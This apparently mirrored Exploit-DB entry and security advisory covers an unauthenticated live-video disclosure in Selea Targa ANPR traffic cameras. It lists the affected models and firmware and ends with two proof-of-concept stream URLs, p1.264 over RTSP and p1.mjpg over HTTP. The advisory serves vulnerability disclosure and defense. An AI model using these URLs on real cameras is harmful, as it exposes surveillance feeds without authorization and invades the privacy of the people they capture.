Selea Targa 512 IP OCR-ANPR Camera – Stream Disclosure (Unauthenticated)

• Exploit Database
• 16 阅读

• 作者： LiquidWorm
  日期： 2021-01-22
• 类别：

  • webapps
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/49459/

• # Exploit Title: Selea Targa IP OCR-ANPR Camera - RTP/RTSP/M-JPEG Stream Disclosure (Unauthenticated)
  # Date: 07.11.2020
  # Exploit Author: LiquidWorm
  # Vendor Homepage: https://www.selea.com
  
  Selea Targa IP OCR-ANPR Camera Unauthenticated RTP/RTSP/M-JPEG Stream Disclosure
  
  
  Vendor: Selea s.r.l.
  Product web page: https://www.selea.com
  Affected version: Model: iZero
   Targa 512
   Targa 504
   Targa Semplice
   Targa 704 TKM
   Targa 805
   Targa 710 INOX
   Targa 750
   Targa 704 ILB
  Firmware: BLD201113005214
  BLD201106163745
  BLD200304170901
  BLD200304170514
  BLD200303143345
  BLD191118145435
  BLD191021180140
  BLD191021180140
  CPS: 4.013(201105)
   3.100(200225)
   3.005(191206)
   3.005(191112)
  
  Summary: IP camera with optical character recognition (OCR) software for automatic
  number plate recognition (ANPR) also equipped with ADR system that enables it to read
  the Hazard Identification Number (HIN, also known as the Kemler Code) and UN number
  of any vehicle captured in free-flow mode. TARGA is fully accurate in reading number
  plates of vehicles travelling at high speed. Its varifocal, wide-angle lens makes
  this camera suitable for all installation conditions. Its built-in OCR software works
  as an automatic and independent system without the need of a computer, thus giving
  autonomy to the device even in the event of an interruption in the connection between
  the camera and the operations centre.
  
  Desc: The ANPR camera suffers from an unauthenticated and unauthorized live stream
  disclosure when p1.mjpg or p1.264 is called.
  
  Tested on: GNU/Linux 3.10.53 (armv7l)
   PHP/5.6.22
   selea_httpd
   HttpServer/0.1
   SeleaCPSHttpServer/1.1
  
  
  Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
  @zeroscience
  
  
  Advisory ID: ZSL-2021-5619
  Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5619.php
  
  
  07.11.2020
  
  --
  
  
  Connection to RTP/RTSP stream: rtsp://192.168.1.17/p1.264
  Connection to M-JPEG stream: http://192.168.1.17/p1.mjpg